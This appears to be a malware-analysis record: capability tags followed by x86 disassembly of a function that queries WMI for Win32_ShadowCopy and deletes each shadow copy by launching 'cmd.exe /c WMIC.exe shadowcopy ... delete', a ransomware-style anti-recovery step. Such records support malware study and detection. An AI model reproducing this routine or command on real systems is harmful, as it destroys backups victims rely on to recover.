Function at 0x458460
Capabilities:
Connect to wmi namespace via wbemlocator
Create process on windows
Get system information on windows
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10bc
call fcn.005ae090
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x4585be
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x4585b8
mov esi, dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [esp + 0x10]
push eax
push 0x655d98
push 1
push 0
push 0x655db8
mov dword [esp + 0x24], 0
call esi
lea eax, [esp + 0xa4]
mov dword [esp + 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [esp + 0xa4], 9
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
jne 0x458557
lea eax, [esp + 0x14]
push eax
push 0x655da8
push 1
push 0
push 0x655dc8
call esi
test eax, eax
js 0x4585b8
push str.__ProviderArchitecture
call edi
mov esi, eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov edx, dword [esp + 0x14]
mov eax, 3
mov word [esp + 0x28], ax
lea eax, [esp + 0x28]
push eax
push 0
mov dword [esp + 0x38], 0x40
mov ecx, dword [edx]
push esi
push edx
call dword [ecx + 0x20]
mov esi, eax
lea eax, [esp + 0x28]
push eax
call ebx
test esi, esi
js 0x4585b8
push str.ROOTCIMV2
mov dword [esp + 0x10], 0
call edi
mov edx, dword [esp + 0x10]
lea esi, [esp + 0xc]
push esi
push dword [esp + 0x18]
mov ecx, dword [edx]
push 0
push 0
push 0
push 0
push 0
push eax
push edx
call dword [ecx + 0xc]
test eax, eax
js 0x4585ae
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
jns 0x4585c7
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x65dca0
call edi
push str.SELECT__FROM_Win32_ShadowCopy
mov esi, eax
call edi
mov edx, dword [esp + 0xc]
lea edi, [esp + 0x18]
push edi
push 0
push 0x30
push eax
mov dword [esp + 0x28], 0
mov ecx, dword [edx]
push esi
push edx
call dword [ecx + 0x50]
test eax, eax
jns 0x45860b
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
jmp 0x4587d4
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
test ecx, ecx
je 0x4587ae
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ecx]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x20]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [esp + 0x20], 0
je 0x4587ae
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x48]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push 0x65dce8
push eax
call dword [ecx + 0x10]
mov ecx, 0x800
lea eax, [esp + 0xc8]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x458680
push dword [esp + 0x50]
lea eax, [esp + 0xcc]
push str.cmd.exe__c_C:WindowsSystem32wbemWMIC.exe_shadowcopy_where__ID_s__delete
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov ecx, 0x800
lea eax, [esp + 0x8c8]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4586c0
mov ecx, 0x44
lea eax, [esp + 0x58]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4586d4
mov ecx, 0x10
lea eax, [esp + 0x38]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4586f0
xor eax, eax
mov dword [esp + 0x58], 0x44
mov word [esp + 0x88], ax
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0x8cc]
mov dword [esp + 0x88], 1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0xc8]
push eax
push str.___Execute_:__s__n
call fcn.00458420
add esp, 8
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x5c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x8e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x458787
push 0x2710
push dword [esp + 0x3c]
call edi
push dword [esp + 0x3c]
call esi
push dword [esp + 0x38]
call esi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
lea eax, [esp + 0x48]
push eax
call ebx
mov eax, dword [esp + 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [esp + 0x18]
test ecx, ecx
jne 0x458633
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x4587bc
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret